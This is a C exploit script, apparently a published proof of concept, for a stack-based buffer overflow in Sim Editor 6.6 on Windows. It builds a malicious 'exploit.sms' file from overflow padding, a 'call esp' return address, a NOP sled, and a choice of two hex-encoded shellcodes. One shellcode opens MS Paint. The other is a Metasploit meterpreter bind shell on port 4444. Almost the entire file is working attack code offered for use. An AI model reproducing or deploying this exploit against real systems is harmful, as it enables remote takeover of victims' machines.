#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define SIZE 65536
/*
* Title: Sim Editor v6.6 Stack Based Buffer Overflow
* Version: 6.6
* Tested on: Windows XP sp2 en, Windows 8 64-bit
* Date: 16-01-2015
* Author: Osanda Malith Jayathissa
* E-Mail: osanda[cat]unseen.is
* Website: OsandaMalith.wordpress.com
*/
void add(int count, unsigned char* dest, unsigned char *src);
int menu();
void banner();
int main()
{
banner();
int i = menu();
unsigned char *buff, *nops;
FILE *outfile;
buff = (unsigned char*) malloc (SIZE);
nops = (unsigned char*) malloc (SIZE);
if (!buff) exit (1);
buff[0] = nops[0] = 0;
add(405, buff, "41");
add(16, nops, "90");
unsigned char ret[] = "D3804200"; /* 0x4280D3 call esp */
outfile = fopen("exploit.sms", "w");
if (!outfile) printf("%s\n","Could not open file");
fputs(buff, outfile);
fputs(ret, outfile);
fputs(nops, outfile);
if(i == 1) {
unsigned char shell[] = "ba516a43ddd9e9d97424f45e33c9b1"
"3231561503561583eefce2a496ab54"
"46672c07cf821d15abc70ca9b88abc"
"42ec3e36263830ff8d1e7f00209ed3"
"c222622e17855be16ac49c1c849475"
"6a3709f22e8428d424b45251fa41e9"
"582bf96612d3712082e25632feadd3"
"81752c32d8761e7ab749ae77c98e09"
"68bce46915c73f13c142ddb382f505"
"454663ce4923e7884db224a36a3fcb"
"63fb7be8a7a7d891fe0d8eaee0ea6f"
"0b6b187b2d36777abf4d3e7cbf4d11"
"158ec6fe620f0dbb9d450fea3500da"
"ae5bb331ec6530b38d9128b688deee"
"2be14f9b4b566f8e262bff50d1a58b"
"92"; fputs(shell, outfile);}
else if(i == 2) {
/* msfpayload windows/meterpreter/bind_tcp EXITFUNC=thread LPORT=4444 R | msfencode -a x86 -t c */
unsigned char shell[] = "bb3ff8edc8dbc6d97424f45f2bc9b1"
"4a83effc315f11035f11e2ca04054e"
"34f5d62fbd10e77dd9515ab2aa3457"
"39feacec4fd6c345e500ed56cb8ca1"
"954d70b8c9ad49731caf8e6eeffd47"
"e44212ecb85e99be2ce77e744cc6d0"
"0317c8d3c02341cc050f1b67fdfb9a"
"a1cc04ad8d823a0100db7ba6fbae77"
"d486a843a65c3d560016e5b2b0fb73"
"30beb0f01ea347d514dfccd8fa6996"
"fede324c9f479f23a098479b04d26a"
"c831b9e23d7342f3290431c1f6bedd"
"697e18198d55dcb570561c9fb6024c"
"b71f2b07479ffe87170f5167c8ef01"
"0f02e07e2f2d2a179e098670e2ad38"
"dd6b4b50cd3dc3cd2f1adc6a4f4970"
"22c7c69ef4e8d7b45644705f2d8645"
"7e3283ee17a5597e55575dab0f97cb"
"5786c06355ff272ca62a3ce532952b"
"0ad215ac5cb815c4389845f14635fa"
"aad2b5ab1f74dd5179b242a9ac42bf"
"7c89c0c90af908";
fputs(shell, outfile);
puts("[*] Connect on port 4444");}
else { puts("[-] Enter a valid input"); exit(-1); }
fclose(outfile);
free(buff);
printf("%s","[+] Successfully to written to \"exploit.sms\"");
return 0;
}
void add(int count, unsigned char* dest, unsigned char *src) {
int i;
for (i=0; i<count; i++) strcat(dest, src);
}
int menu() {
int i;
puts("\b[?] Choose an Option: ");
puts("1. MS Paint");
puts("2. Bind Shell");
scanf("%i", &i);
return i;
}
void
banner() {
static const char banner[] =
" _____ _ _____ _ _ _ \n"
"| __|_|_____ | __|_| |_| |_ ___ ___ \n"
"|__ | | | | __| . | | _| . | _|\n"
"|_____|_|_|_|_| |_____|___|_|_| |___|_|\n"
"\n[~] Sim Editor v6.6 Stack Based Buffer Overflow\n"
"[~] Author: Osanda Malith Jayathissa\n"
"[~] E-Mail: osanda[cat]unseen.is\n"
"[~] Website: OsandaMalith.wordpress.com\n\n";
fwrite(banner, sizeof(char), sizeof(banner) , stdout);
}
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